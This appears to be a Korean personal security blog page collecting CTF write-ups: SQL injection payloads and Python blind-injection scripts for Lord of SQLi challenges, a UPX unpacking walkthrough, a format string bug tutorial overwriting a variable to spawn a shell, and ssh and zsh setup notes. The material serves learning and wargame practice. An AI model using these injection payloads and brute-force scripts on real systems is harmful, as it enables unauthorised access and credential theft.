Hubeen's Home

0x20 Security 57건이 검색되었습니다.


이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;

뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 

%0a가 있음을 깨달았다.


?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] dragon  (0) 2018.09.22
[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22

댓글 0


이 문제는 정말 좋은 경험을 했다고 생각한다.



40글자라고 해서 좀 놀랐다.
허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.

유니코드는 ord 함수를 이용하여 뽑아내었따


import requests


url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23

?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23

'''


for x in range(10):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20" + str(x) + ",%201))%20=%20" + str(c) + "%20%23", headers=headers, cookies=cookies)

        text = rs.text


        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) +  " ascii = " + str(c) + " find it")




'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] dragon  (0) 2018.09.22
[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22

댓글 0


이 문제는 mysql 에서 문자열은 0이 된다.


?pw=%27)=0;%00


0=0은 true이기에 조건이 맞아서 출력이 댄다.

SELECT 'a' = 0 — TRUE

SELECT 'abc' = 0 — TRUE


SELECT '1' = 0 — FALSE

SELECT '123' = 0 — FALSE



SELECT 'x1' = 0 — TRUE


SELECT '1x' = 0 — FALSE 

SELECT '1x' = 1 — TRUE


SELECT '12x1' = 0 — FALSE

SELECT '12x1' = 121 — FALSE

SELECT '12x1' = 12 — TRUE 



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] dragon  (0) 2018.09.22
[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22

댓글 0


이 문제는 싱글쿼터를 못 넣는다...

허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다.


그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다.


?id=\&pw=%20||%201=1%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22

댓글 0


이 문제는 싱글 쿼터를 사용못하게 막아두었다.

하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다.


?id=%00%27%20%7C%7Cid="admin"%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22

댓글 0


like에는 % 정규식 비슷한게 있다.


https://www.w3schools.com/sql/sql_like.asp


이 문제는 조금 당황스러운 문제였다.

아무리해도 어드민이 뜨지 않는 것이다.


그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

strs = "8_"

for i in range(8):
    for c in range(48,125):
        rs = requests.get(url + "?pw=" + strs + chr(c) + "%" ,headers=headers, cookies=cookies)

        text = rs.text

        if("<br><h2>Hello admin</h2>" in text):
            strs += chr(c)

            print(str(i+1) + " " +chr(c) + " find it”)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22

댓글 0


이 문제는 좀 신기했다.

실제에서도 이런 일이 생기는걸까?

무슨 의도가 있는지 나는 잘 모르겠다.


그냥 사이에 공백을 만들어줘서 풀었다.


?shit=%0b

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22

댓글 0


이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다.


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8)


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)
'''
for i in range(8):
    for c in range(33, 125):
        rs = requests.get(url + "?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw," + str(i+1) + "),1)%0din%0d(%22" + chr(c) + "%22)", headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):
            print(str(i+1) + " " +chr(c) + " find it”) 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22

댓글 0


?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208


?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a”


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20a
'''

for x in range(8):
    for c in range(33, 125):
        rs = requests.get(url + '?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,' + str(x+1) + '),1)%20like%20"' + chr(c) +'"' , headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(c) + " find it") 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22

댓글 0


이 문제는 pw 가 실제 pw와 같아야한다.

이 역시 블라인드 인젝션으로 풀었다.


?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23


아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.

스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw,1),1)%20like%2013%23
'''
for x in range(8):
    for i in range(33, 125):
        rs = requests.get(url + "?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw," + str(x+1) + "),1)%20like%20'" + chr(i) + "' %23", headers=headers, cookies=cookies)
        text = rs.text

        if(“<br><h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(i) + " find it")

이 문제는 = 이 막혀있다.
in 이나 like로 이용하여 우회하면 된다. 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22

댓글 0


아이디만 바꾸면 대는 문제였다.


?pw=1234%27%20or%20id=%27admin%27%20%23%20

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22

댓글 0


사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22

댓글 0


입력한 값이 admin일 경우 hehe를 띄운다


대문자를 이용하여 풀면 댄다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22

댓글 0


이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다.


먼저 길이부터 파악했다.


?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20-


스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ;


?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20-


이 또한 스크립트가 랩실에 있다 ㅎ


아무튼 하나하나 뽑아서 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22

댓글 0


이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따


하지만 || 으로 대신하여 우회가 가능하다.


?pw=1234%27%20||%20id=%27admin%27%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18

댓글 0


이 문제는 아이디를 admin으로 바꾸면 된다.


pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다.


?pw=123412312312%27%0dor%0did=%27admin%27%0d%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18

댓글 0


pw가 실제 pw가 맞는지 체크한다.

블라인드 인젝션 문제였다.


먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다


import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for i in range(20):
rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):

print(str(i) + " find it") 

길이를 확인한 후 씬나게 때려맞췄다.

import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for j in range(8):
for i in range(33, 125):
rs = requests.get(url + "?pw=1234' || id='admin' and ascii(substr(pw," + str(j+1) + ", 1))=" + str(i) + "-- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):
print(str(j) + " " + chr(i) + " find it")
break 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18

댓글 0


id를 어드민으로 만들면 댄다.


and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다!


?no=1 로 주면 게스트라고 뿌려준다.


없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,!


싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다.


?no=112302130131290123||id=char(97,100,109,105,110)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21

댓글 0


이번 문제는 id가 admin이여야 풀림


개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다.


?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20-


연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠ

and 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ

왜 or 먼저 된다고 생각했는지 원...


?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20-





'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11

댓글 0




이 문제는 아이디가 걍 로그인만 되면 풀림


?id=hubeen&pw=1234%27%20or%201=1--%20-



' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11
[Codegate2016] Write ups  (0) 2016.03.18

댓글 0

UPX Pakking principle

* UPX : 많고 많은 널리 사용되었던 실행 압축 프로그램


PE File : http://blog.hubeen.kr/306

실행압축?

실행압축이란 실행가능한 파일(PE파일)을 대상으로 파일 압축하여 용량과 리소스파일을 보지 못하게 함.
압축된 것을 푸는 방법은 파일 내에 압축해제 코드를 포함하고 있어서 실행되는 순간 메모리에서 압축을 해제시킨 후 실행된다.

Analysis


                                                                                                              [ not pakking.exe Section ]                                                                      [ pakking.exe Section ]                              


위의 이미지는 패킹된 프로그램과 패킹이 되지 않은 프로그램의 차이다.
패킹이 된 프로그램의 크기는 8.00KB에서 6.5KB로 줄어든 것을 볼 수 있으며,
섹션 또한 압축되어 있음을 알 수 있다.

PE File의 기본 구조는 IMAGE_DOS_HEADER - DOS_STUB_CODE - IMAGE_NT_HEADER - TEXT - data - .rsrc 이다.
하지만 압축된 프로그램의 섹션을 보면 UPX0 - UPX1 - .rsrc 로 되있는 것을 볼 수 있다.

그리고 보면 UPX0 섹션에는 RAW Size를 보면 0으로 아무런 값이 들어가있지 않는 청결 순수 이미지를 가진 섹션이라는 것을 알 수 있습니다.



하지만 virtual size는 6000이나 엄청 크다는 것을 볼 수 있습니다.

그렇다면 UPX1에는 압축해제 코드와 원본 데이터가 들어가있다는 것을 예상할 수 있습니다.

그리고 압축해제된 데이터는 upx0에 들어갈 것 같다는 예상을 할 수 있습니다.



그렇다면 이제 올리디버거를 열고 동적 분석을 시작하도록 하겠습니다.



프로그램 실행 전 레지스터와 스택의 상황입니다.



PUSHAD 명령어가 실행된 뒤의 스택의 상황입니다.

PUSHAD 명령어는 레지스터의 모든 값들을 스택에 집어넣습니다. 



ESI와 EDI를 첫번째 섹션과 두번째 섹션 주소로 세팅합니다.

ESI = UPX1

EDI = UPX0



아까 위에서 봤듯이 virtual size는 6000이였음을 보았습니다.

딱 UPX0과 UPX1의 차이가 6000임을 눈으로 직접 볼 수 있습니다.



이 부분은 UPX0 섹션의 데이터 1byte씩 읽어와서 집어넣는 부분이다.


[ UPX1 섹션 데이터 값들 ]


[ UPX0 섹션에 데이터가 차곡차곡 들어간 값들 ]


[ 압축해제 루틴 ]


IAT 복구



함수 이름을 UPX0에서 가져온 뒤 GetProcAddress 함수를 이용해서 함수의 주소를 읽어온다.



그리고 EBX가 가르키는 주소에 함수의 주소를 저장한다.


실제 주소인걸 화긴완료


이제 모든 코드를 압축해제하면 upx0 주소로 점프하는 것을 볼 수 있습니다.


'0x20 Security > 0x22 Reversing' 카테고리의 다른 글

UPX Pakking Principle (UPP)  (1) 2017.07.07
PE File Format  (0) 2016.07.23

댓글 1


오늘 작성할 내용은 ssh config 파일을 설정하여 서버 정보와 유저정보를 적어두면 따로 유저@주소를 적으며 접속을 하지 않아도 되게 되는 매@직!

매우 편리한 기능이라 할 수 있다.


alias에 명령어를 등록해가며 사용하셨다면 그 동안 뻘짓을 하였구나 라고 생각할 수 있을 정도입니다!


먼저 위의 경로로 이동을 해봅시다!



.ssh 폴더는 한번이라도 ssh 접속을 하였다면 known_hosts 라는 파일에 서버의 rsa키 같은 것들이 저장이 됩니다. 


이 곳에 config 파일을 생성하면 편하게 접속이 되게 됩니다!



Host 이름

    HostName 서버의 아이피

    User 계정명

    #IdentityFile 인증서의 경로

#Port 포트 (기본 값은 22)


로 간편하게 등록하고 간편하게 접속이 가능합니다.

인증서라고 하면 pem 같은 인증서를 말합니다.


위와 같이 등록을 한 뒤에 퍼미션을 설정을 해주여야 됩니다.


$ chmod 440 ~/.ssh/config


위와 같이 퍼미션을 설정을 해주었다면 아래와 같이 편하게 접속을 할 수 있습니다.



즐겁게 게으른 생활을 합시다!


'0x20 Security > 0x26 Server' 카테고리의 다른 글

ssh config 파일을 설정해보자!  (0) 2017.02.26
서버를 간지나게 꾸며보자  (0) 2016.10.14
Run ARM ELF for qemu in ubuntu  (0) 2016.08.31
Install mongodb  (0) 2016.07.26

댓글 0

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

Format String Bug (FSB)

오랜만에 글을 작성하네요.
이번에 정리할 기법은 FSB입니다.

Format String Bug (FSB)가 일어날 일은 최근에 없지만 뭐,,프로그래머의 실수로 인해 생길 수도 있으니 알아두면 나쁘지 않을 것 같습니다.
먼저 이 글을 읽기 전에 프로그래밍을 해본 적이 있고 Format String에 대해 알고 있으면 편하게 읽으실 수 있습니다.

Format String은 C프로그래밍을 해보셨다면 printf() 함수를 이용하며 포맷에 맞게 출력을 할 때 보실 수 있었을 겁니다.


printf("I'm %s\n, name);


위의 코드는 간단한 name을 출력하는 코드입니다.


Format String Attack은 역시 프로그래머의 게으른 작은 실수로 인해 발생하는 취약점입니다.



/*

case 2

*/

printf("%s", name);


/*

case 2

*/

printf(name);



일반적으로 코드를 작성할 때에는 원하는 문자열을 포맷에 맞게 변수를 넘겨주게 코드를 작성하지만,

어느 몇몇 게으른 프로그래머는 case2 로 코드를 작성을 합니다.


물론 위의 2가지의 코드는 잘못된 코드는 아닙니다.

어떻게보면 case2의 코드가 case1의 코드보다 적은 양의 코드를 작성하고 더 현명하게 보이지만,

case2의 코드로 작성하게 되면 해커들에게 프로그램의 흐름을 바꿀 수 있는 취약점을 만든다는 사실을 깨달아야됩니다.


과연 case2의 코드에서는 무엇이 잘못일까요?


case1의 코드는 printf() 함수를 사용할 경우 출력할 형식 포맷만큼 출력시킬 변수를 인자에 넘겨주게 되지만,

case2의 코드는 사용자의 입력에 따라 지시자의 수가 달라질 수 있게 되므로, 악의적인 공격자에 의해 스택의 내용이 확인될 수 있는 것이 문제입니다!


name에 '%s, %d, %n' 등의 지시자들이 있다면 그 지시자에 맞는 값들을 출력하게 되어 스택의 내용이 보여지게 되는 것입니다!


앗...? 그럼 %n 지시자는 무슨 역할을 하는 지시자일까요?


%n 지시자는 출력된 갯수를 카운트하여 그 값을 주소에 저장을 시키는 지시자입니다!

말로 해봤자 이해가 어려울 수도 있으니 코드를 디버깅하며 이해를 해보도록 하겠습니다!



#include <stdio.h>


int main(int argc, char * argv[])

{

int vlun = 100;


printf("now vlun is %d\n", vlun);

        printf("1234567890%n\n",&vlun);

printf("but, now vlun is %d\n", vlun);

return 0;

}



위의 코드는 간단한 코드이기에 이해를 하실 수 있으실 것입니다!

vlun 변수에는 100이라는 값이 들어있기에 처음 printf 출력에서는 now vlun is 100 라는 문자열이 출력이 될 것이라는 것은 알 수 있습니다.

이제 8번째 라인 코드에서부터가 중요합니다.

위에서 말 했듯이 %n 지시자는 출력된 갯수를 카운트를 하여 그 값을  주소에 저장을 시키는 지시자라고 하였습니다.

앞에 출력되는 "1234567890" 은 총 10개라는 것은 초등학생도 알 수 있습니다.

%n 지시자에 &vlun 주소가 넘겨지며 이 주소에 10이라는 값이 저장이 되게 되는 겁니다!

그렇다면 마지막 출력에서는 but, now vlun is 10 라는 문자열이 출력이 될 것이라 알 수 있습니다.

실제로 그렇게 출력이 되는지 확인을 해보도록 하겠습니다.



실제로 그렇게 출력이 되는 것을 디버깅을 통해 알 수 있었으며, %n 지시자가 무슨 역할을 하는지 디버깅을 통해 이해할 수 있었습니다!


이제 %n 지시자 하나만 알고 있다면 여러분은 fsb attack을 할 수 있습니다!

간단한 2가지 문제를 풀며 이해를 하도록 하겠습니다.


이 2가지의 문제들은 root-me.org 라는 워게임 사이트의 문제입니다.



#include <stdio.h>

#include <unistd.h>


int main(int argc, char *argv[]){

        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");

        char buffer[32];

        fgets(buffer, sizeof(buffer), secret);

        printf(argv[1]);

        fclose(secret);

        return 0;

}



지금까지의 글을 읽어보시고 이해를 하셨다면 위의 문제에서의 취약점이 어디에 존재하는지 한번에 아실 수 있으실겁니다.

printf(argv[1]); 

argv[1] 인자 넘겨주는 값을 그냥 printf 함수로 출력해주는 것을 알 수 있었습니다.

그리고 secret 값이 buffer에 들어가는 것도 볼 수 있네요 (웃음)


그렇다면 매우 많이 문자열을 출력해준다면 시크릿 값을 볼 수 있게 됩니다.



이제 보시다보면 스택 구조의 주소들 중 이상한 문자열이 중간에 껴있음을 알 수 있습니다.


리틀엔디안, 빅엔디안 잘 보시고 플래그를 뽑아내시면 됩니다!


39617044 -> 44706139


2번째 문제는 %n 지시자를 이용하는 문제입니다!!!



#include <stdio.h>

#include <stdlib.h>


int main( int argc, char ** argv )


{


int var;

int check  = 0x04030201;


char fmt[128];


if (argc <2)

exit(0);


memset( fmt, 0, sizeof(fmt) );


printf( "check at 0x%x\n", &check );

printf( "argv[1] = [%s]\n", argv[1] );


snprintf( fmt, sizeof(fmt), argv[1] );


if ((check != 0x04030201) && (check != 0xdeadbeef))

printf ("\nYou are on the right way !\n");


printf( "fmt=[%s]\n", fmt );

printf( "check=0x%x\n", check );


if (check==0xdeadbeef)

    {

printf("Yeah dude ! You win !\n");

      system("/bin/dash");

    }

}



이 문제의 취약점은 어디에 일어날까요?

printf( "fmt=[%s]\n", fmt );


여기서 일어날 것이라는 걸 알 수 있습니다!

이 문제는 매우 친절하게 check의 주소를 알려주고 check를 deadbeef로 값을 바꾸면 되는 걸 알 수 있습니다!! 빠빰!!!

왜 check 값을 0xdeadbeef 로 바꿔야되냐구요? (웃음)


if (check==0xdeadbeef)

{

printf("Yeah dude ! You win !\n");

system("/bin/dash");

}


바로 위의 코드때문입니다!


그렇다면 문제를 직접 풀면서 이해를 해보도록 하겠습니다.



check 의 주소는 0xbffffb78이며 저희가 넘겨준 1이 잘 출력되는 것과 check의 값은 0x4030201이라고 아주 자세하게 알려주고 있습니다.

그렇다면 이 문제를 풀기위해서는 0xbffffb78 주소를 넘겨주고 0xdeadbeef를 넘겨주면 되겠군요?!


앗 하지만 여기서 매우 크나 큰 관문이 생겼습니다.


0xbffffb78의 값은 3221224312 입니다.

int의 범위의 값을 넘어서버렸습니다..

벗어난 값을 입력하게 되면 오버플로우가 떠버릴지도 모른다구요~? (웃음 wwww


그래서 2바이트 2바이트씩 나눠서 넣어주면 됩니다.

0xbffffb78 : fe eb 00 00

0xbffffb7a : 00 00 da ed

이렇게 넣게 된다면?

0xbffffb78 : fe eb da ed


가 되게 되서 0xdeadbeef가 들어가게 되겠죠?!


먼저 우리가 원하는 주소가 스택에 있는지 찾아보기위해 무작위로 원하는 개수 만큼 "-%8x-"*?? 를 넣어줍니다.



이런! 없군요! 하지만 우리가 넘겨준 argv의 값이 출력되는 것을 볼 수 있습니다.

이걸 이용해 우리가 입력한 값으로 주소로 넘겨줄 수 있겠네요?


바로 이렇게 말이죠!



보시면 우리가 입력한 AAAA가 스택에 보이는 것을 볼 수 있어요.

이렇게 되면 우리가 입력한 값이 주소가 될 수도 있다는 것을 깨달을 수 있죠 (큰 깨달음


그렇다면 주소를 넘겨주고 0xdeadbeef를 만들면되겠네요!



익스플로잇 코드는 위와 같습니다! 

이제 알아보도록 하겠습니다.

먼저 check의 주소를 먼저 넘겨주면 스택에 들어가 가젯역할을 할 수 있게 됩니다!

그 후 dummy의 값을 주고 check의 2byte 만큼 높은 주소를 줍니다!

왜 2byte 높은 주소를 주는 이유는 위에 있습니다!

그 후 이제 %8x 로 스택의 현재 넘겨준 가젯의 위치를 잡습니다!

그 후는 계산만 남아있는데요!


먼저 0xbeef가 들어갈 예정입니다.

0xbeef의 값은 48879 입니다.

다만 앞에 있는 값들을 계산해줘야되겠죠?

0xbeef - (4 [0xbffffb48] + 4 [dummy] + 4 [0xbffffb48+2] + 8*7) = 48811 입니다.

그 뒤에는 0xdead - 0xbeef 한 값을 넘겨주면 되겠습니다!

0xdead - 0xbeef = 8126


그렇게 된다면 check의 주소인 0xbffffb48에는 0xbeef이 들어가고 0xbffffb4a에는 0xdead가 들어가 0xdeadbeef가 완성되게 되는거죠!


하지만 여기서 왜 더미가 들어가야될까요?

그 이유는 아래와 같습니다.

현재 포인터는 0xbffffb48을 잡고 값을 들어가게 됬습니다.

%n 지시자를 통해 주소는 4바이트 상승해서 AAAA 인 0x41414141을 잡고 있겠죠!

하지만 %8126c 인 %c 지시자를 사용하게 되어 4바이트 상승하여 그 다음 주소를 잡고 있게 되어 그 주소에 값이 들어가게 되는 것 입니다!


이렇게 위의 2문제를 풀며 Format String Bug(FSB) 기법을 볼 수 있었습니다.

'0x20 Security > 0x21 System' 카테고리의 다른 글

Format String Bug (FSB)  (0) 2016.12.01
Save Frame Pointer Overwrite (SFO)  (0) 2016.07.25
Buffer Overflow (BOF)  (2) 2016.07.22
About LD_PRELOAD  (0) 2016.07.20
Use After Free (UAF)  (1) 2016.07.13
How main() is executed on linux  (2) 2016.07.04

댓글 0



1. 터미널 창을 간지나게 꾸며보자

2. 입장하거나 입장하려고 할 때에 글씨를 간지나게 띄어보자



이런 밋밋한 터미널 창 말고 간지나게 아름답게 예술적인 터미널을 만들어보겠습니다.


Oh-My-zsh (https://github.com/robbyrussell/oh-my-zsh) 에 접속을 하여 설치를 하세요!



만약 경로가 아래와 같이 깨진다 싶으면 폰트를 설치해주어야됩니다.



폰트 (https://github.com/powerline/fonts) 에서 zip을 받아 설치를 합니다.



이러케 설치를 한 뒤에 터미널의 폰트를 설치한 폰트로 변경해줍니다.



$ sudo apt-get install zsh

$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

$ chsh -s `which zsh`

$ vi ~/.zshrc


그렇다면 아래와 같이 터미널이 이뻐진 것을 볼 수 있습니다.



그리고 이제는 이런거나 이런걸 해봅시다.




저는 메이드를 좋아합니다.

